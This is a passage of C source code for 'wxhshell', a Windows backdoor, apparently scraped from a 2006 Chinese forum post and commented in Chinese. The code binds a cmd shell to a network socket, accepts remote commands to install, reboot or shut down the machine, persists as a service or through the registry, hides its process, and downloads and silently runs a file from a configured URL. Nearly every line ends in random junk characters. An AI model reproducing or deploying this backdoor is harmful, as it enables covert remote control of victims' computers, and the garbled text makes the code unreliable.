  case '?': { &50Kn[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^yKP 99(  
    break; R0fZ9_d7}  
  } 3MC| O5R4  
  // 安装 eb:mp/  
  case 'i': { 2I:vie  
    if(Install()) AQ-P3`bCb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E~zLhJTUL'  
    else \PzC:H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Xnq(}?ok  
    break; R,A|"Q  
    } \1RQ),5 %]  
  // 卸载 9 il!w g?  
  case 'r': { CS cM;U=  
    if(Uninstall()) qTiUha9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DRi!WWivn  
    else Z>a_vC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eF"7[_+D  
    break; /'G'GQrr  
    } x#| P-^  
  // 显示 wxhshell 所在路径 6(oGU4  
  case 'p': { g 4d 5G=y  
    char svExeFile[MAX_PATH]; 7(~^6Ql!  
    strcpy(svExeFile,"\n\r"); ls,gQ]B:P  
      strcat(svExeFile,ExeFile); B l'  
        send(wsh,svExeFile,strlen(svExeFile),0); G4s!q1H  
    break; uGJeQ  
    } s.KJYP  
  // 重启 F& H~JJ  
  case 'b': { RgQ\Cs24Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e\.|d<N?  
    if(Boot(REBOOT)) i(,R$AU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,D3q8?j  
    else { )TyL3Z\>(  
    closesocket(wsh); xzMa[D4(  
    ExitThread(0); 7z=Ss'O]  
    } 1&QI1fvx  
    break; SNff  
    } cY#TH|M  
  // 关机 &)fPz-s  
  case 'd': { I|9e4EX{y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3Luv$6  
    if(Boot(SHUTDOWN)) wGISb\rr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :!tQqy2  
    else { MkJL9eG  
    closesocket(wsh); H7#RL1qM&  
    ExitThread(0); -mX _I{BJ  
    } 9z_Gf]J~  
    break; 'L3 \I  
    } [ Q=) f  
  // 获取shell )_.@M '?  
  case 's': { ZQl[h7c/N  
    CmdShell(wsh); \|j`jsq  
    closesocket(wsh); B7 }-g"p$/  
    ExitThread(0); f 21w`Uk48  
    break; "!Mu5Ga  
  } (: ZOoL  
  // 退出 c q3C N@  
  case 'x': { 4ItXZo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `r>WVPS|  
    CloseIt(wsh); eIof{#  
    break; [(btpWxb^  
    } L<8y5B~W  
  // 离开 8% 1hfj  
  case 'q': { x:l`e:`y9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gdCU1D\  
    closesocket(wsh); VIi|:k  
    WSACleanup(); g s'bv#4yd  
    exit(1); k92X)/ll'  
    break; SC|cCK hqi  
        } 8zVXQ!'  
  } )[nzmL*w  
  } XkdNWR0  
} doj4  
  // 提示信息 #v(+3Hp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9=< Z>  
} ZibHT:n  
  } NoYu"57\  
^@[[,1"K  
  return; Xd|5{  
} e2B~j3-?z  
^Gd <miw  
// shell模块句柄 M $e~Rlw  
int CmdShell(SOCKET sock) {v`wQM[  
{ SxH}/I|W  
STARTUPINFO si; W8":lpp  
ZeroMemory(&si,sizeof(si)); !%@n067  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zs{ `Yf^Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #4c uNX5m%  
PROCESS_INFORMATION ProcessInfo; Yhlk#>I  
char cmdline[]="cmd"; PL8akA#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Nz:  
  return 0; ^R<= }  
}  dc5B#  
MESQAsx%  
// 自身启动模式 m CdkYN#  
int StartFromService(void) BO h  
{ {H>iL  
typedef struct %%k[TO  
{ ?$s2] }v  
  DWORD ExitStatus; *i$+i  
  DWORD PebBaseAddress; Gu_s:cgB9F  
  DWORD AffinityMask; BO[A1'>  
  DWORD BasePriority; `b%/.%]$  
  ULONG UniqueProcessId; }'X}!_9w>  
  ULONG InheritedFromUniqueProcessId; 9td(MZ%i~N  
}   PROCESS_BASIC_INFORMATION; K1+,y1c  
GuS3O)6Sg  
PROCNTQSIP NtQueryInformationProcess; 4< H-ol  
D l"y|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I}8F3_b,#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j?8E >tM  
`o*eLLk  
  HANDLE             hProcess; 74[}AA  
  PROCESS_BASIC_INFORMATION pbi; 'Klz`)F  
{< wq}~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Xg%zE  
  if(NULL == hInst ) return 0; 0<Pe~i_=  
RI%l& Hm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $ jn tT(V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {Rz`)qqE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }=L >u>cP  
% -SP  
  if (!NtQueryInformationProcess) return 0; +_ G'FD  
HmiwpI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >l7 o/*4  
  if(!hProcess) return 0; yT,UM^'  
qxrOfsh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r8> q*0~s  
 #?,cYh+  
  CloseHandle(hProcess); i&KbzOY  
"vJADQ4F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VEpQT Qp  
if(hProcess==NULL) return 0; zzx4;C",u  
r94BEC 2  
HMODULE hMod; ,onv `  
char procName[255]; i4-L!<bJ  
unsigned long cbNeeded; R.fRQ>rI  
(;M"'. C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Iq52rI}  
mR{0*<  
  CloseHandle(hProcess); mPh;  
MdKZH\z/  
if(strstr(procName,"services")) return 1; // 以服务启动 q'@UZ$2  
S xgY q  
  return 0; // 注册表启动 vSyN_AB?$  
} kOjq LA  
!XicX9n  
// 主模块 kP6r=HH@  
int StartWxhshell(LPSTR lpCmdLine) fXqe7[  
{ ruW6cvsvet  
  SOCKET wsl; ywdNwNJ  
BOOL val=TRUE; [_~U<   
  int port=0; OGVhb>LO1  
  struct sockaddr_in door; mB,7YZv  
%DN& K  
  if(wscfg.ws_autoins) Install(); *83+!DV|  
?+!KucTF  
port=atoi(lpCmdLine); b6i0_fOO  
HR}c9wy,q\  
if(port<=0) port=wscfg.ws_port; M-Js"cB[  
N;w1f"V}  
  WSADATA data; v#X? KqD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `rcjZ^n  
6lhVwgy3A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   );6zV_^!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q@\D5F% >  
  door.sin_family = AF_INET; v3/cNd3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UxW>hbzr&V  
  door.sin_port = htons(port); RDZq(rKc  
$W2g2[+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wVPq1? 9  
closesocket(wsl); 7OZ s~6(  
return 1; oYF8:PYB  
} S*]IR"YL  
W t8 RC  
  if(listen(wsl,2) == INVALID_SOCKET) { CeZ5Ti?F  
closesocket(wsl); x88$#N>Q5  
return 1; S38D cWIw  
} 7!%cKZCY  
  Wxhshell(wsl); D"o>\Q  
  WSACleanup(); 15zL,yo  
o+nU{  
return 0; m$o|s1t  
tQ)8HVKF  
} Wb|IWn H$  
5|Y4GQVz  
// 以NT服务方式启动 S)~h|&A(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IlE! zRA  
{ HU'd/5fun  
DWORD   status = 0; #e#8I7P  
  DWORD   specificError = 0xfffffff; 0VbZBLe  
s<5t}{x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q~]R#S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _Y0o\0B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'UB<;6wy  
  serviceStatus.dwWin32ExitCode     = 0; bH= 5[  
  serviceStatus.dwServiceSpecificExitCode = 0; c_" .+Fa  
  serviceStatus.dwCheckPoint       = 0; Mpj3<vj   
  serviceStatus.dwWaitHint       = 0; 9(iJ=ao (  
8@r+)2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rdC(+2+Ay  
  if (hServiceStatusHandle==0) return; { ~Cqb7  
q/Gy&8 K  
status = GetLastError(); /,;9hx  
  if (status!=NO_ERROR) $;@s  
{ k_^d7yH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w,l1&=d  
    serviceStatus.dwCheckPoint       = 0; >g F  
    serviceStatus.dwWaitHint       = 0; C!.6:Aj  
    serviceStatus.dwWin32ExitCode     = status; dJ|]W|q<  
    serviceStatus.dwServiceSpecificExitCode = specificError; @z2RMEC~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0nl)0|?Az  
    return;  \n`]QN  
  } }R>g(q=N  
o30PI  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nmgW>U0jZh  
  serviceStatus.dwCheckPoint       = 0; Xu'u"amt  
  serviceStatus.dwWaitHint       = 0;  e%qMrR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v& ? Bqj  
} C 4n5U^  
N.VzA 6 C  
// 处理NT服务事件,比如:启动、停止 c\R! z&y~  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  ,{.&xJ$  
{ mp5]=6 ~:m  
switch(fdwControl) lI D5mg3 1  
{ x^SE>dy ?z  
case SERVICE_CONTROL_STOP: iBc( @EJ  
  serviceStatus.dwWin32ExitCode = 0; ;/YSQt)rc>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IP~g7`Y  
  serviceStatus.dwCheckPoint   = 0; m=n V$H   
  serviceStatus.dwWaitHint     = 0; H%/$Rqg  
  { J"SAA0)@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a1Gy I  
  } 3kJAaI8   
  return; 0 ">#h  
case SERVICE_CONTROL_PAUSE: ah}aL7dgO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CE?R/uNo{  
  break; kDm=Cjxv  
case SERVICE_CONTROL_CONTINUE: 2 {31"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V6Q[Y>84~a  
  break; #ocT4  
case SERVICE_CONTROL_INTERROGATE: +]AE}UXZoh  
  break; "cti(0F-d  
}; 3"<{YEj8U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'QkL%z0  
} "3!4 hiU9  
I]} MK?  
// 标准应用程序主函数 }]f)Fz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $YW z~^f  
{ 2Gx&ECa,  
B]kz3FF  
// 获取操作系统版本 ` a@NYi6  
OsIsNt=GetOsVer(); aeg5ij-]u@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B\4SB  
1 iE  
  // 从命令行安装 y_a~>S  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^%C.S :  
tFb49zbk  
  // 下载执行文件 3J@# V '  
if(wscfg.ws_downexe) { _tYt<oB~%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ##FN0|e&  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z|3l2ucl  
} ogPxj KSI  
B-Fu/n  
if(!OsIsNt) { YwKY3kL  
// 如果时win9x,隐藏进程并且设置为注册表启动 w8>p[F5`O  
HideProc(); *S ;v406  
StartWxhshell(lpCmdLine); rs!J<CRq  
} D?9 =q  
else \ar.(J  
  if(StartFromService()) 0WQ0-~wx  
  // 以服务方式启动 XD*$$`+#  
  StartServiceCtrlDispatcher(DispatchTable); %*LdacjZ  
else 9B<y w.  
  // 普通方式启动 }!B<MGBd  
  StartWxhshell(lpCmdLine); Th@L68  
V_0e/7}Ya  
return 0; jz/@Zg",  
}
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只看该作者 1 发表于: 2006-10-10
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